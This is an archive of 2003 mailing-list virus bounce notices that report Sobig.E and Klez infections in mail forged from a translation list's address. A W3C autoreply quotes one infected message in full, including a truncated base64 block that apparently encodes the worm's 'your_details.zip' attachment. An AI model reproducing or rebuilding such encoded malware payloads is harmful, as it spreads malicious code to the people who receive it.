VIRUS IN YOUR MAIL

2003-07-13 Conversa postmaster
   V I R U S  A L E R T

Our viruschecker found the



virus(es) in your email to the following recipient(s):

- rooz...@sina.sharif.ac.ir

Delivery of the email was stopped!

Please check your system for viruses, or ask your system administrator
to do so.

For your reference, here are the headers from your email:

- BEGIN HEADERS -
Received: from PIII-800 (N935P030.adsl.highway.telekom.at [62.47.60.222])
by Dena.Sharif.EDU (8.11.6/8.8.7) with ESMTP id h6D9Qgt08932
for rooz...@sina.sharif.ac.ir; Sun, 13 Jul 2003 13:56:44 +0430
Message-Id: 200307130926.h6d9qgt08...@dena.sharif.edu
From: tra...@ceu.fi.udc.es
To: rooz...@sina.sharif.ac.ir
Subject: Re: Application
List-Post: proxecto@trasno.net
Date: Sun, 13 Jul 2003 12:28:04 +0200
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=CSmtpMsgPart123X456_000_0023240F
-- END HEADERS --

--
Para sair desta lista, manda un mail a trasno-requ...@ceu.fi.udc.es
poñendo unsubscribe na mensaxe


Virus in mail from you.

2003-07-07 Conversa postmaster
Our virus checker has found potentially malicious code in a mail by
you. Delivery has been stopped. For further questions, please contact
postmas...@mirizma.org.

The recipient(s) for this message were:
k...@mirizma.org

The message has been quarantined as 3f083fc8-1380.


CLAM Anti Virus found:
 Worm.Sobig.E


Message headers follow:
Return-Path: tra...@ceu.fi.udc.es
Received: from sofia.digsys.bg (sofia.digsys.bg [193.68.3.250])
by mail.mirizma.org (Postfix) with ESMTP id 6FAC2C4077
for k...@phreedom.org; Sun,  6 Jul 2003 10:26:48 -0500 (CDT)
Received: from zonebg.com (linux.zonebg.com [193.68.150.130])
by sofia.digsys.bg (8.11.6/8.10.1) with SMTP id h66FQkx28625
for k...@phreedom.org; Sun, 6 Jul 2003 18:26:46 +0300 (EEST)
Message-Id: 200307061526.h66fqkx28...@sofia.digsys.bg
Received: (qmail 4051 invoked by uid 64020); 6 Jul 2003 15:26:46 -
Delivered-To: linux.zonebg.com-pa...@linux.zonebg.com
Received: (qmail 4046 invoked from network); 6 Jul 2003 15:26:37 -
Received: from unknown (HELO NOVI) (212.54.8.92)
  by linux.zonebg.com with SMTP; 6 Jul 2003 15:26:37 -
From: tra...@ceu.fi.udc.es
To: pa...@linux.zonebg.com
Subject: Re: Application
List-Post: proxecto@trasno.net
Date: Sun, 6 Jul 2003 18:26:43 +0300
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=CSmtpMsgPart123X456_000_0009F229
--
Para sair desta lista, manda un mail a trasno-requ...@ceu.fi.udc.es
poñendo unsubscribe na mensaxe


VIRUS IN YOUR MAIL

2003-07-05 Conversa postmaster
   V I R U S  A L E R T

Our viruschecker found the



virus(es) in your email to the following recipient(s):

- rooz...@sina.sharif.ac.ir

Delivery of the email was stopped!

Please check your system for viruses, or ask your system administrator
to do so.

For your reference, here are the headers from your email:

- BEGIN HEADERS -
From: tra...@ceu.fi.udc.es
To: rooz...@sina.sharif.ac.ir
Subject: Re: Application
List-Post: proxecto@trasno.net
Date: Sat, 5 Jul 2003 22:25:26 +0800
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=CSmtpMsgPart123X456_000_005D1B86
-- END HEADERS --

--
Para sair desta lista, manda un mail a trasno-requ...@ceu.fi.udc.es
poñendo unsubscribe na mensaxe


Virus in mail from you.

2003-07-05 Conversa postmaster
Our virus checker has found potentially malicious code in a mail by
you. Delivery has been stopped. For further questions, please contact
postmas...@mirizma.org.

The recipient(s) for this message were:
k...@mirizma.org

The message has been quarantined as 3f06e1a0-557a.


CLAM Anti Virus found:
 Worm.Sobig.E


Message headers follow:
Return-Path: tra...@ceu.fi.udc.es
Received: from sofia.digsys.bg (sofia.digsys.bg [193.68.3.250])
by mail.mirizma.org (Postfix) with ESMTP id 8AA3CC4077
for k...@phreedom.org; Sat,  5 Jul 2003 09:32:52 -0500 (CDT)
Received: from zonebg.com (linux.zonebg.com [193.68.150.130])
by sofia.digsys.bg (8.11.6/8.10.1) with SMTP id h65EWnx21478
for k...@phreedom.org; Sat, 5 Jul 2003 17:32:50 +0300 (EEST)
Message-Id: 200307051432.h65ewnx21...@sofia.digsys.bg
Received: (qmail 14874 invoked by uid 64020); 5 Jul 2003 14:32:50 -
Delivered-To: linux.zonebg.com-pa...@linux.zonebg.com
Received: (qmail 14855 invoked from network); 5 Jul 2003 14:32:42 -
Received: from unknown (HELO WIND) (216.254.11.41)
  by linux.zonebg.com with SMTP; 5 Jul 2003 14:32:42 -
From: tra...@ceu.fi.udc.es
To: pa...@linux.zonebg.com
Subject: Re: Movie
List-Post: proxecto@trasno.net
Date: Sat, 5 Jul 2003 7:34:18 --0700
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=CSmtpMsgPart123X456_000_0010ECB3
--
Para sair desta lista, manda un mail a trasno-requ...@ceu.fi.udc.es
poñendo unsubscribe na mensaxe


VIRUS IN YOUR MAIL to j...@clipper.ens.fr

2003-06-28 Conversa postmaster
   * A L E R T EV I R U S *

  Votre courriel à destination de j...@clipper.ens.fr contenait un/des virus,
  lire plus bas.
  Nous avons interrompu le transfert de ce courriel avant son arrivée.

  Vérifier votre système!

---

  Our viruschecker found a VIRUS in your email to j...@clipper.ens.fr
   We stopped delivery of this email!

Now it is on you to check your system for viruses, look at the end.
- ANALYSE -
W32/Sobig.e@MM
- HEADERS -
Received: from nathan.regio.net (nathan.regio.net [212.218.64.21])
  by nef.ens.fr (8.12.9/1.01.28121999) with ESMTP id h5SFNBKk030406
  for j...@clipper.ens.fr; Sat, 28 Jun 2003 17:23:11 +0200 (CEST)
Received: from HOME-LAPTOP 
(CPE0008743a2b58-CM398e6a60.cpe.net.cable.rogers.com [24.192.124.25])
by nathan.regio.net (8.9.3/8.9.3) with ESMTP id RAA06153
for j...@jens.de; Sat, 28 Jun 2003 17:23:05 +0200
From: gpul-traducc...@ceu.fi.udc.es
Message-Id: 200306281523.raa06...@nathan.regio.net
To: j...@jens.de
Subject: Re: Movie
List-Post: proxecto@trasno.net
Date: Sat, 28 Jun 2003 11:22:52 --0400
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=CSmtpMsgPart123X456_000_0016150C
--
Para sair desta lista, manda un mail a gpul-traduccion-requ...@ceu.fi.udc.es
poñendo unsubscribe na mesaxe


Re: Application

2003-06-26 Conversa W3C Postmaster
This is an autoreply to a message you have sent to leh...@w3.org.

Arnaud Le Hors no longer works for W3C; he may be now reached at
leh...@us.ibm.com. Please resend your message there.

Thanks,

-- W3C Postmaster
  postmas...@w3.org
--
From gpul-traducc...@ceu.fi.udc.es Thu Jun 26 13:49:04 2003
Received: from sophia.inria.fr (sophia.inria.fr [138.96.64.20])
by dr-nick.w3.org (8.12.3/8.12.3/Debian-6.4) with ESMTP id 
h5QHn2nV018105
for leh...@w3.org; Thu, 26 Jun 2003 13:49:03 -0400
Received: from foudre.inria.fr (foudre.inria.fr [138.96.64.12])
by sophia.inria.fr (8.12.8/8.12.5) with ESMTP id h5QHmvb9024956
for leh...@sophia.inria.fr; Thu, 26 Jun 2003 19:48:57 +0200
Received: from JINZHANG (ece156-dhcp-15.ecn.purdue.edu [128.46.156.84])
by foudre.inria.fr (8.12.8/8.12.5) with ESMTP id h5QHmslY003318
for leh...@sophia.inria.fr; Thu, 26 Jun 2003 19:48:55 +0200 (MET DST)
Message-Id: 200306261748.h5qhmsly003...@foudre.inria.fr
From: gpul-traducc...@ceu.fi.udc.es
To: leh...@sophia.inria.fr
Subject: Re: Application
List-Post: proxecto@trasno.net
Date: Thu, 26 Jun 2003 12:45:59 --0500
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=CSmtpMsgPart123X456_000_0033070A

This is a multipart message in MIME format

--CSmtpMsgPart123X456_000_0033070A
Content-Type: text/plain;
charset=iso-8859-1
Content-Transfer-Encoding: 7bit

Please see the attached zip file for details.
--CSmtpMsgPart123X456_000_0033070A
Content-Type: application/octet-stream;
name=your_details.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=your_details.zi

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

MDaemon Warning - Virus Found

2002-07-27 Conversa postmaster
The following message had attachment(s) which contained viruses:

From  : gpul-traducc...@ceu.fi.udc.es
To: i...@mudanzastrallero.net
Subject   : A very  funny website
Date  : 
Message-ID: 

AttachmentVirus name   Action taken
--
cf3017632433.att  Exploit.IFrame.FileDownloadRemoved
NAME.bat  I-Worm.Klez.hRemoved



--
Para sair desta lista, manda un mail a gpul-traduccion-requ...@ceu.fi.udc.es
poñendo unsubscribe na mesaxe